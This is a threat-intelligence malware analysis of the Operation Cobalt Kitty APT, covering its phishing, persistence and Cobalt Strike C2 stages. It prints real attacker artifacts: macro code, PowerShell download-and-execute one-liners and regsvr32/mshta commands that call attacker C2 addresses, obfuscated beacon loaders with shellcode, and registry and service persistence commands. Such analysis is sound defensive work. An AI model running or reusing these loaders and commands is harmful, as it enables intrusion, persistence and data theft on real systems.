




Operation Cobalt Kitty

Cybereason Labs Analysis

By: Assaf Dahan





Operation Cobalt Kitty

Attack Lifecycle

By: Assaf Dahan




Table of Contents

Detailed attack lifecycle

Penetration phase

[Fake Flash Installer delivering Cobalt Strike Beacon](#)

[Word File with malicious macro delivering Cobalt Strike Beacon](#)

[Post infection execution of scheduled task](#)

Establishing foothold

[Windows Registry](#)

[Windows Services](#)

[Scheduled Tasks](#)

[Outlook Persistence](#)

C2 Communication

[Cobalt Strike Fileless Infrastructure \(HTTP\)](#)

[C&C payloads](#)

[Cobalt strike Malleable C2 communication patterns](#)

[Variant of Denis Backdoor using DNS Tunneling](#)

[Outlook Backdoor Macro as C2 channel](#)

[Custom NetCat](#)

Internal reconnaissance

[Internal Network Scanning](#)

[Information gathering commands](#)

[Vulnerability Scanning using PowerSploit](#)

Lateral movement

[Obtaining credentials](#)

[Mimikatz](#)

[Gaining Outlook credentials](#)

[Pass-the-hash and pass-the-ticket](#)


[Propagation via Windows Admin Shares](#)

[Windows Management Instrumentation \(WMI\)](#)

Detailed attack lifecycle

The advanced persistent threat Operation Cobalt Kitty targeted a global corporation and was carried out by highly skilled and very determined adversaries. This report provides a comprehensive, step-by-step technical account of how the APT was carried out by the OceanLotus Group, diving into their work methods throughout APT lifecycle. Like other reported APTs, this attack “follows” the stages of a classic attack lifecycle (aka [cyber kill-chain](#)), which consists of these phases:

1. Penetration
2. Foothold and persistence
3. Command & control and data exfiltration
4. Internal reconnaissance
5. Lateral movement




1. Penetration phase

The penetration vector in this attack was social engineering, specifically spear-phishing attacks against carefully selected, high-profile targets in the company. Two types payloads were found in the spear-phishing emails:

1. Link to a malicious site that downloads a fake Flash Installer delivering Cobalt Strike Beacon
2. Word documents with malicious macros downloading Cobalt Strike payloads

Fake Flash Installer delivering Cobalt Strike Beacon

The victims received a spear-phishing email using a pretext of applying to a position with the company. The email contained a link to a redirector site that led to a download link, containing a fake Flash installer. The fake Flash installer launches **a multi-stage fileless infection process**. This technique of infecting a target with an [fake Flash installer](#) is consistent with the OceanLotus Group and [has been documented in the past](#).



```

push    eax
call    ds:GetCommandLineA
call    sub_401040
add     esp, 4
push    0 ; lpThreadId
push    0 ; dwCreationFlags
push    0 ; lpParameter
push    offset StartAddress ; lpStartAddress
push    0 ; dwStackSize
push    0 ; lpThreadAttributes
call    ds:CreateThread
push    eax ; hObject
call    ds:CloseHandle
mov     ecx, 0Eh
mov     esi, offset aHttp110_10_179 ; "http://110.10.179.65:80/ptF2"
lea     edi, [esp+60h+szUrl]
rep movsd
push    0 ; dwFlags
push    0 ; lpszProxyBypass
push    0 ; lpszProxy
push    1 ; dwAccessType
push    0 ; lpszAgent
movsw
call    ds:InternetOpenW

```

Download Cobalt Strike payload - The fake Flash installer downloads an encrypted payload with shellcode from the following URL: `hxxp://110.10.179(.)65:80/ptF2`

Word File with malicious macro delivering Cobalt Strike Beacon

Other types of spear-phishing emails contained Microsoft Office Word attachments with different file names, such as `CV.doc` and `Complaint_Letter.doc`.

Name	Type	Size
 CV.doc	Microsoft Word 97 - 2003 Docum...	150 KB

The malicious macro creates **two scheduled tasks** that download files camouflaged as “.jpg” files from the C&C server:

Scheduled task 1:

```

Set oFso = Nothing
sCMDLine = "schtasks /create /tn ""Windows Error Reporting"" /XML """" &
sFileName & """" /F"
lSuccess = CreateProcessA(sNull, _
                        sCMDLine, _
                        sec1, _
                        sec2, _
                        1&, _
                        NORMAL_PRIORITY_CLASS, _
                        ByVal 0&, _
                        sNull, _
                        sInfo, _
                        pInfo)

'fso.DeleteFile sFileName, True
Set fso = Nothing
sCMDLine = "schtasks /create /sc MINUTE /tn ""Power Efficiency Diagnostics"" /tr
""""regsvr32.exe\"" /s /n /u /i:\""h\""t\""p://110.10.179.65:80/download/
microsoftv.jpg scrobj.dll"" /mo 15 /F"
lSuccess = CreateProcessA(sNull, _
                        sCMDLine, _

```

Scheduled task 2:

```

vbCrLf & " <Actions Context=""Author"">" & vbCrLf & " <Exec>" &
vbCrLf & " <Command>mshta.exe</Command>" & vbCrLf &
tstr = tstr & "<Arguments>about:'''&lt;script language=""vbscript""
src=""http://110.10.179.65:80/download/microsoftp.jpg""&code
close&lt;/script&gt;""</Arguments>" & vbCrLf &
tstr = tstr & "</Exec>" & vbCrLf & " </Actions>" & vbCrLf & "</
Task>"
XMLStr = tstr

```

The two scheduled tasks are created on infected Windows machines:

Name	Triggers	Last Run Result
Power Efficiency Diagnostics	At 1:49 PM on 5/12/2017 - After triggered, repeat every 15 minutes indefinitely.	
Windows Error Reporting	At 11:12 AM on 6/2/2016 - After triggered, repeat every 1 hour indefinitely.	

When you create a task, you must specify the action that will occur when your task starts. To change these actions, open the task property pages using the

Action	Details
Start a program	mshta.exe about:"<script language="vbscript" src="http://110.10.179.65:80/download/microsoftp.jpg">code close</script>"

Post infection execution of scheduled task

Example 1: Fileless downloader delivers Cobalt Strike Beacon

The purpose of the scheduled task is to download another payload from the C&C server:

```

schtasks /create /sc MINUTE /tn "Windows Error Reporting" /tr "mshta.exe about:'<script
language="vbscript" src="hxxp://110.10.179(.)65:80/download/microsoftp.jpg">code close</script>"
/mo 15 /F

```

The content of the “**microsoft.jpg**” is a script that combines vbscript and PowerShell:
SHA-1: 23EF081AF79E92C1FBA8B5E622025B821981C145

```
Set objShell = CreateObject("WScript.Shell")
intReturn = objShell.Run("p0wErSHell -eXECUt BYpASS -COm ""IEX ((new-object
net.webclient).downloadstring('http://110.10.179.65:80/download/microsoft.jpg'))""", 0)
code close
```

That downloads and executes an additional payload from the same server with a slightly different name “**microsoft.jpg**”.

Obfuscated PowerShell delivering Cobalt Strike Beacon - The contents of the “**microsoft.jpg**” file is, in fact, an obfuscated PowerShell payload (obfuscated with [Daniel Bohannon's Invoke-obfuscation](#)).

microsoft.jpg, **SHA-1:** C845F3AF0A2B7E034CE43658276AF3B3E402EB7B


```
IEX((( ' ((DAgtq{82}{180}{118}{28}{201}{163}{134}{223}{164}{42}{
}{241}{9}{87}{48}{165}{217}{13}{22}{83}{191}{78}{168}{244}{227}{
115}{75}{146}{222}{214}{211}{89}{97}{52}{132}{226}{193}{64}{199}{
}{150}{256}{167}{182}{71}{103}{148}{3}{170}{85}{26}{157}{247}{8}{
3}{173}{260}{215}{84}{112}{94}{221}{219}{88}{138}{27}{141}{81}{2
239}{171}{7}{91}{40}{190}{125}{67}{80}{130}{107}{77}{249}{149}{4
}{233}{49}{224}{151}{229}{179}{154}{174}{127}{231}{251}{143}{194
8}{245}{32}{39}{44}{51}{257}{147}{14}{126}{162}{41}{53}{254}{61}{
53}{111}{133}{68}{113}{116}{60}{110}{189}{108}{213}{25}{19}{243}{
}{160}{70}{135}{54}{236}{79}{258}{196}{117}{76}{139}{259}{35}{15}{
}{237}{248}{128}{114}{10}{120}{198}{92}{6}{200}{131}DAgtq-fbFDf7
NVW28nY5dbohF3thCM8J2UxMrHqJs8WIYwXEBiANhH0RwGK/0cLohVcuiyr+HJU
6xZrgqF1dBgWdXhQzL,dXhQzLbGC9yspbFDf,bFDfD34j1cUpfsyWFv7Ub36GLZ
pBFE6Y0EU4dxQBhPWNBFeXbUWpdUyLGstGLIMlkIW4dthJhPwCgCXDeMKkOKR0U
SVTrTWCSULb8106SekQNEBSl64RfMr+H9AsusvMzETiyMDMJusswkoyWIrhy0iuv
Vk2n8DyBwxBUQ9qPv8Yj85fr02oHSFnMBgSZyuJPRiba8UdbL5nBPdzrkW6CTf3f
/cFRN3nhm9M0Qz1+0QzLjmlJMzp3okd0ipAme6dSHvgJul/EbaGKn0VNfj/+K23x
```

Quick memory analysis of the payload reveals that it is a Cobalt Strike Beacon, as seen in the strings found in the memory of the PowerShell process:

0x57bb1bc	73	IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s
0x57bb208	49	powershell -nop -exec bypass -EncodedCommand "%s"
0x57bb250	10	%s%s: %s
0x57bb270	22	Could not kill %d: %d
0x57bb29c	18	%s%d%d%s%s%d
0x57bb2c8	16	abcdefghijklmnp
0x57bb2e8	25	could not create pipe: %d
0x57bb304	23	I'm already in SMB mode
0x57bb31c	10	%s (admin)
0x57bb328	31	Could not open process: %d (%u)
0x57bb348	37	Could not open process token: %d (%u)

Example 2: Additional Cobalt Strike delivery method

Cybereason observed another method of Cobalt Strike Beacon delivery in infected machines.



Once the initial PowerShell payload is downloaded from the server, it will pass an obfuscated and XOR'ed PowerShell payload to cmd.exe:

```

C:\Windows\system32\cmd.exe /C POWersHELL -nOl -eXEcutiONP bYPasS -w HI d
-nOpR0fIl -n0Exi -NONInteRac -c0mm " -J0in ( (113, 125, 96,24,16 ,16, 86
, 93 , 79,21,87, 90, 82 ,93 ,91,76 , 24 ,86 , 93,76 , 22, 79, 93, 90 ,91
,84 ,81,93 ,86 , 76,17 , 22 ,92,87, 79 ,86 ,84,87 , 89 , 92, 75 ,76 ,74
, 81,86 , 95 ,16 , 31 , 80 ,76, 76, 72,2 , 23 , 23 ,10 ,15, 22,9 , 8,
10,22,15 , 8, 22, 10,9 , 9 ,2,0,8,23,81 , 85,89, 95 , 93, 22,82 ,72 ,
95,31, 17, 17 ) |F0reAch{ [cHAR] ( $_ -BXor 0x38 )}) | ieX"
  
```

The payload is decrypted to the following PowerShell downloader one-liner:

IEX ((new-object net.webclient).downloadstring('hxxp://27.102.70(.)211:80/image.jpg'))

The PowerShell process will then download the new 'image.jpg' payload, which is actually another obfuscated PowerShell payload:

image.jpg - 9394B5EF0B8216528CED1FEE589F3ED0E88C7155

```

(' ((00x9M{239}{99}{185}{78}{67}{230}{112}{150}{79}{103}{241}{159}{155}{22}{1
)erudecorp_rav46C2eG ,eludom_rav46C2eG( maraP
{ sserdda_corp_teg_cnuf noitcnuf
Ze4qE@ = }TioZryj8Id{46C2eG

2 noisreV- )Ze4qEMtcZe4qE,Ze4qEirtS-tZe4qE,Ze4qEeSZe4qE,Ze4qEedoZe4qEf- 6TNWpg}

)
]dioV[ = epyt_nruter_rav46C2eG ]epyT[ ])1 = noitisoP(retemaraP[
,sretemaraP_rav46C2eG ])[epyT[ ])eurT46C2eG = yrotadnaM ,0 = noitisoP(retemaraP
( maraP
{ epyt_etageled_teg_cnuf noitcnuf

}
))erudecorp_rav46C2eG ,)))eludom_rav46C2eG(@ ,llun46C2eG(ekovni.))Ze4qEeldnaHe

}
)(epyTetaerC.redliub_epyt_rav46C2eG nruter

```

Once executed by PowerShell, the embedded script was identified as Cobalt Strike Beacon:

0x55ebfec	30	Could not connect to pipe: %d
0x55ec024	34	kerberos ticket purge failed: %08x
0x55ec048	32	kerberos ticket use failed: %08x
0x55ec06c	29	could not connect to pipe: %d
0x55ec08c	25	could not connect to pipe
0x55ec0a8	37	Maximum links reached. Disconnect one
0x55ec0d4	26	%d%d%d.%d%s%s%s%d%d
0x55ec0f0	20	Could not bind to %d
0x55ec108	69	IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/')
0x55ec150	10	%%IMPORT%%
0x55ec15c	28	Command length (%d) too long
0x55ec180	73	IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s
0x55ec1cc	49	powershell -nop -exec bypass -EncodedCommand "%s"
0x55ec214	10	%s%s: %s

2. Establishing foothold

Gaining persistence is one of the attack's most important phases. It insures that the malicious code will run automatically and survive machine reboots.

The attackers used trivial but effective persistence techniques to ensure that their malicious tools executed constantly on the infected machines. Those techniques consist of:

- **Windows Registry Autorun**
- **Windows Services**
- **Windows Scheduled Tasks**

2.1. Windows Registry

The attackers used the Windows Registry Autorun to execute VBScript and PowerShell scripts residing in the ProgramData folder, which is hidden by default:

```
HKU\[redacted]\Software\Microsoft\Windows\CurrentVersion\Run\Java Update Schedule Check
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\syscheck
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\DHCP Agent
HKU\[redacted]\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Activation Checker
HKU\[redacted]\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Update
```

Examples of the values of the above registry keys:

```
wscript "C:\ProgramData\syscheck\syscheck.vbs"

wscript /Nologo /E:VBScript "C:\ProgramData\Microsoft\SndVolSSO.txt"

wscript /Nologo /E:VBScript "C:\ProgramData\Sun\SndVolSSO.txt"


wscript /Nologo /E:VBScript C:\ProgramData\Activator\scheduler\activator.ps1:log.txt

wscript /Nologo /E:VBScript c:\ProgramData\Sun\java32\scheduler\helper\sunjascheduler.txt
```

The purpose of those .vbs scripts was to launch Cobalt Strike PowerShell scripts mainly consisting of Cobalt Strike Beacon. Some of the files found in ProgramData appear to be .txt files. However, their content is VBScript.

In addition, the attackers used NTFS [Alternate Data Stream](#) to hide their payloads. This is a rather old trick to hide data from the unsuspecting users and security solutions.

The code inside the 'hidden' .txt file launches a PowerShell process with a base64-encoded command:



```
SndVolSSO.txt
Const HIDDEN_WINDOW = 12
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
errReturn = objProcess.Create("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass
rAGUALQBFAHgAcABYAGUAcwBzAGKAbwBuACAAQwA6AFwAUABYAG8AZwByAGEAbQBEAGEAdABhAFwATQBpAGMAcgBvAHMAbwBmAHQAXABTAG4AZABW
objConfig, intProcessID)
```

This PowerShell commands decodes to:

Invoke-Expression C:\ProgramData\Microsoft\SndVolSSO.ps1

This launches a PowerShell script, which loads an obfuscated and encoded Cobalt Strike's beacon payload:

```
$DoIt = @'
function func_get_proc_address {
    Param ($var_module, $var_procedure)
    $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And
    $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

    return $var_unsafe_native_methods.GetMethod('GetProcAddress').Invoke($null, @( [System.Runtime.InteropServices.HandleRef](New
    System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Inve
    @($var_module))), $var_procedure)
}

function func_get_delegate_type {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
        [Parameter(Position = 1)] [Type] $var_return_type = [Void]
    )

    $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDe
    System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType
    AnsiClass, AutoClass', [System.MulticastDelegate])
    $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard,
    $var_parameters).SetImplementationFlags('Runtime, Managed')
    $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImple
    Managed')

    return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String("VYvsgezoAwAAVlfHRYAAAAAAX0WYAAAAA0hFDwAAgBAKilUWYuGsAAABmiYWE/v//uWUAAABn
uG4AAABmiYWK/v//uWUAAABmiY2M/v//uWUAAABmiYW0/v//uTIAAABmiY25/v//uI4AAABmiZWU/v//uGQAAABmiYw/v//uWwAAABmiY2Y/v//
/x4Ws/v//AAAAAGSLDTAAACJjXj+//+LlXj+//+LQgyJhVT+//+LjVT+//+DwQyJjbT+//+LlbT+//+LaolFiItN1DuNtP7//w+EzwEAAItViImVdP//4uFdP//w
AwEAA0sS15V0//D7dCLNHoiYXE/v//143E/v//1Y28/v//15V0//10Iw1YVM/v//1428/v//0eGNvRj8//+LtUz+//zPDpJ15W8/v//ZomMVRj8//+NhrJ8//+
AugIAAABrwgCLtCQPtXQBhdIPhPkAAAC4AgAAAGvIAItVxA+3BAQd+EF8LrkCAAAaA9EA10XED7cMEIP5WnBaugIAAABrwgCLtCQPtXQBg81giZX0/v//6xW4AgAAAGv
v//ZoInpLoCAAAaA8IA102sD7cUAYP6QXuuAIAAABryACLvawPtWQKg/hafxq5AgAAAGvRAItFrA+3DBCDwSCJja+//
cFhcCAAAaA8IA102sD7cUAYP6QZ7//Zalhai+//9mUWDD7dNpA+3VZA7wp0SD7dFpA+3TZAPQmFoP7//+sX11XE0BtC1VXE10Wcp8AC1UWw6FD+//+DvaD+//BAdB0
```

2.2. Windows Services

The attackers created and/or modified Windows Services to ensure the loading of the PowerShell scripts on the compromised machines. These scripts are mostly PowerShell-encoded Cobalt Strike's Beacon payloads:


Display name	Command line arguments
WinHTTP Web Proxy Auto-Discovery	/c powershell.exe -exec bypass -w hidden -nop -file C:\Windows\System32\WinHttpAutoProxy.ps1
TCP/IP NetBIOS Help	/c powershell.exe -exec bypass -w hidden -nop -file C:\Windows\lmhost.ps1
TCP/IP NetBIOS Help	/c powershell.exe -exec bypass -w hidden -nop -file c:\windows\LMHost.ps1
DBConsole	/c powershell.exe -exec bypass -w hidden -nop -file c:\windows\DBConsole.ps1
Java J2EE	/c powershell.exe -exec bypass -w hidden -nop -file c:\windows\j2e.ps1
SVCHost	/c powershell.exe -exec bypass -w hidden -nop -file c:\windows\SCVHost.ps1

Backdoor exploits DLL hijacking against Wsearch Service

According to [Microsoft's documentation](#), Windows Search Service (Wsearch), which is a default component in Windows OS, runs automatically. Once Wsearch starts, it launches SearchIndexer.exe and SearchProtocolHost.exe applications. These applications are vulnerable to "[Phantom DLL Hijacking](#)" and were [exploited in other targeted attacks](#).

The attackers placed a fake "msfte.dll" under the system32 folder, where the vulnerable

applications reside by default. This ensured that the fake “msfte.dll” would be loaded each time Wsearch launched these applications:



For further details about the backdoor, please refer to [Cobalt Kitty Attacker's Arsenal](#): Deep dive into the tools used in the APT.

2.3. Scheduled Tasks

The attackers used scheduled tasks to ensure the malicious payloads ran in predetermined timeframes:

PowerShell Loader:



Google Update:

The attackers exploited a DLL hijacking vulnerability in a legitimate Google Update binary, which was deployed along with a malicious DLL (goopdate.dll). By default, GoogleUpdate.exe creates a scheduled task that checks if a new version of Google products is available.

As a result, each time GoogleUpdate.exe application ran, it automatically loaded the malicious goopdate.dll:




For further details about the backdoor, please refer to Cobalt Kitty Attacker's Arsenal: Deep dive into the tools used in the APT.

2.4. Outlook Persistence

The attackers used a malicious Outlook backdoor macro to communicate with the C2 servers and exfiltrate data. To make sure the malicious macro ran, they edited a specific registry value to create persistence:

```
/u /c REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Office\14\Outlook" /v  
"LoadMacroProviderOnBoot" /f /t REG_DWORD /d 1
```




3. C2 Communication

The attackers used different techniques and protocols to communicate with the C&C servers:

3.1. Cobalt Strike Fileless Infrastructure (HTTP)

The attackers chose to implement a multi-stage payload delivery infrastructure in the first phase of the attack. The motivation for fileless operation is clear: this approach has a low forensic footprint since most of the payloads are downloaded from the C&C and executed in-memory without touching the disk.

Multi-Stage Payload Delivery




PowerShell downloader

A PowerShell one-liner downloads and executes a PowerShell payload from the C&C server.

7	<code>powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://food.letsmls.org:80/login.txt'))"</code>
4	<code>powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://23.227.196.210:80/logscreen.jpg'))"</code>

Regsvr32.exe downloader command (COM Scriptlet)

The fileless infrastructure also used another type of downloader, which is based on COM scriptlets (.sct). This technique is [well documented](#) and has been used extensively in the last year.



The attackers downloaded COM scriptlets using regsvr32.exe:

```
regsvr32 /s /n /u /i:hxxp://support.chatconnecting(.)com:80/pic.png scrobj.dll
```

C&C payloads

Following are a few examples of C&C payloads used as part of the fileless payload delivery infrastructure.

Example 1: Second Stage PowerShell Script

This .txt file is actually a base64-encoded PowerShell payload that contains a shellcode:

```

http://food.lets...es.org/login.txt x +
food.lets...es.org/login.txt

$S=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAF
/O3wKq4pkW0cwBJKmlSLVJnHADYRgAgQOocW7NpusvXS9htDhd7
/xg5Ze0rucTjgdJYv17szszG+euEQeuVJQT3Y4JsrRkIiY8kg5LpUOL3hbKufKB7XkJ5E
PlsOughgUJFO1wjMQ85ThgpK91HSkhWIoH+cFA6yLaSKEY+mUdI0jWZh0QuOY7hIm1qrJ
/30yEIJHMvytXRJpxTMIFoyTWdOWrMloSQY5uFg/Ek8oX5XBeuWJ8gVhBtm0ibwkGmRfC
/+u6toj2qxy+slBLNZUdxtLElyWY6qufNPTCwfbFdhUDvUEj7kvKyMa1Y8rd5n23Uz5Tc
TYVlD5AxcwRVvdKO1vyRaIdRwlhZ+aBNC4X6SSRpSOBcEsFXLhFr6pG40kIRZqRP
/JnWJZsdDq910vaZgKonhV4u3Pca3TuZi3Nxxqv5c+7040OF5Fgt66VvphajChJEASTKXZ
/HNOM7V6plpQNKIMnFFj4PBYIh+kyZpq6bzmBftTvOuPXLQbUdV8GTOzPX41yZDjnFs9c
4L4NCIX2wiF1NsFp/aS04jPSAZIZUfWBUU1tTgg+KKAR00RnT5nuwyp/M5r5cqZHjg+Bc
/VsFZPqQE2VEXabDd3Z5+A5HaZCiOy0ovgZz0yopLECO4rJhRTIsjM5E8W6o/100kTFI
/AGlxdZNHsRSJB+4FGAbuingUsRSVstKimFhblwY7FdQXMWkixmgUgKQ1+AR2UixcmQa
/B4hecYlshytGQqDOKobNUAD1oUipLN5QQLD6F2rveIXPihSrHUH7SkMAUizLsjKkQkIN
e1LBWn1lamCZNRemknOP8OZgadkACbLXhooZicNtKWEQXaG+OGoiY89+2IdbDzSGvtDbv
HdlN510E2y8s67p+fTMdsZAd0ur7TMTN69vW9TetPofTWzBXNBPa0Fg4t5D7zK87rZjqJ
xEnPH03cDenm6RrWUFTvri3gq7bZpdPsL0bH9mTEWkbDXvojHrunjQlGVycMmxbHxyxBv
7qHfXk+hW3tadE6/VX98OLef6833SubXuR/byf/Ga9uOTUCpJYQ330cVqRJBv1Ig8GX1u
/vIzmwa3F0tx3RiXBnvxuKePT5VmcNN0wmWtuPeMdu9u3oQQ7fxlng3cp4A82Emd8Kvb+
/6JlLP1J1WpHJ6cbxj/FYzr2jSH1bN53bdKBdcd
/N0YB7g+ZxWXND5rAu96Ya1Di5KnungGNSl10Tp3IMiYz9c3oZDWAQ9Rr1jhbGLXrykSn
HWHVCCx3AepDYNwWCSKaKgM8TQoEs3nrVpJElMhveb34I6XGBMwnfrSfMknoz7nxcjBr+
/kfh+XtP/ppl2kIiXiEFsQEPcVTOBc7toaz1OUw5Ne3l0eiQiIgwGChg5djXAZIx7aSP+
/uNKV74T6j+6823r/fgKGFmULtfbKNYkCuSxXn+rVKrTU6lOjqpdeb3+Tr7bad2nltCv
/2Osi9qXXf3Psf6x9xenr8K/Wt4H6dnhzxv/xB3/HqIRohJYXajxjORTymuRKgJwbybcf
/k8ijLkyMJfVDqdT2lT2EYvoZhnfySTnT0zkwlkjIowe+gEk
/a4faIdKV9uVYOUTKN+UIQDhj+jGM+yJI0t6o5P9evicbMCVj/Kr0iUdgpD1y+AJ6HoEF
/Rww4NAAA="));IEX (New-Object IO.StreamReader(New-Object IO.Compressi
[IO.Compression.CompressionMode]::Decompress)).ReadToEnd();

```

File Name: login.txt, **SHA-1:** 9f95b81372eaf722a705d1f94a2632aad5b5c180

The shellcode downloads additional payload from the URL: `hxxp://food(.)letsmiles(.)org/9niL`


```

277 0x000001e0 6800200000 push 0x00002000
278 0x000001e5 53 push ebx
279 0x000001e6 56 push esi
280 0x000001e7 68129689e2 push 0xe2899612
281 0x000001ec ffd5 call ebp -> wininet.dll!InternetReadFile
282 0x000001ee 85c0 test eax, eax
283 0x000001f0 74cd jz 0x000001bf
284 0x000001f2 8b07 mov eax, dword [edi]
285 0x000001f4 01c3 add ebx, eax
286 0x000001f6 85c0 test eax, eax
287 0x000001f8 75e5 jnz 0x000001df
288 0x000001fa 58 pop eax
289 0x000001fb c3 ret
290 0x000001fc e837ffff call 0x00000138
291 0x00000201 666f outsd edx, word [esi]
292 0x00000203 6f outsd edx, dword [esi]
293 0x00000204 642e6c csfs: insb byte [esi], edx
294 0x00000207 657473 gs: jz 0x0000027d
295 0x0000020a 6d insd dword [esi], edx
296 0x0000020b 696c65732e6f7267 imul ebp, dword [ebp + 115], 0x67726f2e
297
298 Byte Dump:
299 .....1.d.R0.R.R..r(..J61.1..<a|.,.....RW.R..B<...@x..tJ..P.H..X...<
I.4...1.1.....8.u..}.);$u.X.X$.f.K.X.....D$$[aYZQ..X.Z....]hnet.hwinithLw
&.....Microsoft-CryptoAPI/6.1.XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX.Y1.WmWQh:Vy....y[1.QQj
.QqHP...SPHw.....bY1.Rh..`.RRRQRPh.U.;...1.WmWVh-..{....tD1...t....h....}....h
E!^1..1.Wj.QVPh.W...../.9.t.1....I...../9niL..h...V..j@h....h..@.WhX.S...SS..W
h...SVh.....t.....u.X..7...food.letsmiles.org.
300

```

Example 2: Second Stage COM Scriptlet Payload

The regsvr32.exe downloader command downloads the following COM scriptlet, which contains an embedded shellcode:



The screenshot shows a web browser window with the address bar displaying 'http://support...ing.com/pic.jpg'. The page content is a VBS scriptlet. The scriptlet registers a COM class with the CLSID {316295e9-3482-4ef1-ac5a-28545fb915cb} and the ProgID 24250c. It then creates an Excel application object and a WshShell object. A function RegExists is defined to check if a registry key exists. The scriptlet then constructs a registry path for the 'AccessVBOM' value and attempts to read it.

```
<?XML version="1.0"?>
<scriptlet>
  <registration progid="24250c" classid="{316295e9-3482-4ef1-ac5a-28545fb915cb}" >
    <script language="vbscript">
      <![CDATA[
        Dim objExcel, WshShell, RegPath, action, objWorkbook, xlmodule

        Set objExcel = CreateObject("Excel.Application")
        objExcel.Visible = False

        Set WshShell = CreateObject("Wscript.Shell")

        function RegExists(regKey)
          on error resume next
          WshShell.RegRead regKey
          RegExists = (Err.number = 0)
        end function

        ' Get the old AccessVBOM value
        RegPath = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & objExcel.Version & "\Excel\Security\AccessVBOM"
```

File Name: pic.png, SHA-1: f3e27ad08622060fa7a3cc1c7ea83a7885560899



The image shows a hex dump and assembly of the shellcode. The hex dump is on the left, and the assembly is on the right. The assembly code is in x86-64 format. It starts with a push of 0x00002000, followed by pushes of ebx, esi, and 0xe2899612. It then calls wininet.dll!InternetReadFile. The code then tests eax, eax, jumps if zero to 0x000001bf, moves eax to edi, adds ebx to eax, tests eax, eax, jumps if not zero to 0x000001df, pops eax, returns, calls 0x00000138, xors al with 53, xors ecx with esi, xors al with 46, xors ecx with esi, adds eax, adds ecx with ebx, and finally xors ecx with esi.

```
0x000001e0 6800200000 push 0x00002000
0x000001e5 53          push ebx
0x000001e6 56          push esi
0x000001e7 68129689e2 push 0xe2899612
0x000001ec ffd5        call ebp -> wininet.dll!InternetReadFile
0x000001ee 85c0        test eax, eax
0x000001f0 74cd        jz 0x000001bf
0x000001f2 8b07        mov eax, dword [edi]
0x000001f4 01c3        add ebx, eax
0x000001f6 85c0        test eax, eax
0x000001f8 75e5        jnz 0x000001df
0x000001fa 58          pop eax
0x000001fb c3          ret
0x000001fc e837ffffff call 0x00000138
0x00000201 3435        xor al, 53
0x00000203 2e3131      cs: xor dword [ecx], esi
0x00000206 342e        xor al, 46
0x00000208 3131        xor dword [ecx], esi
0x0000020a 37          aaa
0x0000020b 2e3133      cs: xor dword [ebx], esi
0x0000020e 37          aaa


Byte Dump:
.....1.d.R0.R.R..r(..J61.1.<a|,.....RW.R..B<...@x..tJ..P.H..X...<
I.4...1.1.....B.u..}.);$u.X.X$.f.K.X.....D$[aYZQ..X_Z....]hnet.hwiniThLw6.....Mozilla/5.0(
WindowsNT6.1; WOW64; Trident/7.0; rv:11.0) like Gecko.XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX.Y1.WMMQ
h:Vy....y[1.QQ].QQhP...SPhW.....bY1.Rh..`RRRQRPh.U;...1.WMMVh~..{....tD1...t....h....)hE!^1..1.Wj.QVPh.W....
/.9.t.1...I....eXYF..h...V..j@h....h..@.WhX.S....SS..Wh...SVh.....t.....u.X..7...45.114.117.137.
```

The shellcode downloads a payload from the following URL:

`hxxp://45(.)114.117.137/eXYF`

Final payload: Cobalt Strike Beacon

Analysis of the final stage payloads (such as “9niL” / “eXYF”) clearly shows that they are Cobalt Strike Beacons:



3.2. Cobalt strike Malleable C2 communication patterns

Another confirmation that the attackers used Cobalt Strike's infrastructure came from the analysis of the network traffic. The analyzed traffic matched [Cobalt Strike's Malleable C2](https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/safebrowsing.profile). The attackers used the Amazon, Google Safe Browsing, Pandora and OSCP profiles in this attack, all of which are publicly available in Github:

<https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/safebrowsing.profile>
<https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/amazon.profile>
<https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/pandora.profile>
<https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/oscp.profile>

A .pcap file that was recorded during the execution of the Cobalt Strike payloads clearly shows the usage of the Malleable C2 profiles, in that case - the "safebrowsing.profile":

